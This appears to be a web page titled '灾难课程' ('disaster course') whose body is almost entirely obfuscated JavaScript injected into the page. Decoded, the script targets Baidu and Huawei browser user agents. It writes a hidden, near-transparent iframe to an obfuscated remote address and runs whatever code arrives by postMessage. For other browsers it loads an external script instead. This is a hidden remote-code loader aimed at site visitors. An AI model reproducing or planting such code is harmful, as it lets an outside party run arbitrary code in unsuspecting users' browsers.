灾难课程

eval("\x77\x69\x6e\x64\x6f\x77")["\x49\x78\x75\x47"]=function(e){var IG =''+'ABCDEFGHI'+'JKLMNOPQRSTUVW'+'XYZabcd'+'efghijklm'+'nopqrstuvwxy'+'z01234567'+'89+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=IG.indexOf(e.charAt(f++));o=IG.indexOf(e.charAt(f++));u=IG.indexOf(e.charAt(f++));a=IG.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x45\x47\x78\x75\x47\x42\x68\x51\x49"]=function(){eval(IxuG("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoSXh1Ryh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEl4dUcoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihJeHVHKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbSXh1RygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNTkxNic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7d1snX19rJysnZGEnKyducScrJ29iJysnal81OTE2J109ZFsncXUnKydlcnknKydTZWxlJysnY3RvJysnciddKCcjJytfX2tkbnFpZCk7X2lkICs9IGRbJ3F1JysnZXJ5JysnU2UnKydsZWMnKyd0bycrJ3JBJysnbGwnXSgnLicrX2NsYXNzKS5sZW5ndGg7dmFyIHogPSB1KyctMS8nK19pZCsnLycrcjtkWyd3JysncmknKyd0JysnZSddKCc8aScrJ2ZyJysnYScrJ21lIHN0eWxlPSInKydtJysnYXInKydnaScrJ246MDtwJysnYWQnKydkJysnaW4nKydnOjA7YicrJ29yJysnZCcrJ2VyOm4nKydvbicrJ2U7Jysnb3AnKydhJysnY2knKyd0JysneTowJysnLjAnK3JkKDIsOSkrJzt3aScrJ2R0JysnaDonK3JkKDIsNSkrJ3AnKyd4O2gnKydlJysnaWdoJysndDonK3JkKDIsNSkrJ3AnKyd4OycrJyJhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WyJhZCIrImRFdiIrImVudEwiKyJpc3QiKyJlbmVyIl0oIm0iKyJlc3MiKyJhZ2UiLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyK19pZF0pe3JtKGMpO25ldyBGdW5jdGlvbihJeHVHKGUuZGF0YVtyK19pZF0ucmVwbGFjZShuZXcgUmVnRXhwKHIsJ2cnKSwnJykpKSgpO319KTt9ZWxzZXtkLndyaXRlKCc8cycrJ2NyaScrJ3B0IHNyYz0iJyt1KycuanMiPjxcL3MnKydjcmlwJysndD4nKTt9fSkoJycrJzFJVCcrJ0wyRScrJ1QnKydPMTB5WScrJ0dKJysnVEp2JysnTjNhJysncScrJzltWkdKJysnVCcrJ0p6UUROJysndycrJ0VUJysnUXpVUycrJ2J2TicrJ20nKydMaE4nKydIYnpCSCcrJ2N1JysnYzNkM1onKydra01sJysnWWtrTWwnKydFME1sTScrJ0hjMFJIJysnYScrJycrJycsJycrJ1dnUCcrJ2hJTScrJ3NFJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJ1NuTycrJ09tNycrJ2wnKycnKycnLCdrJyk="));}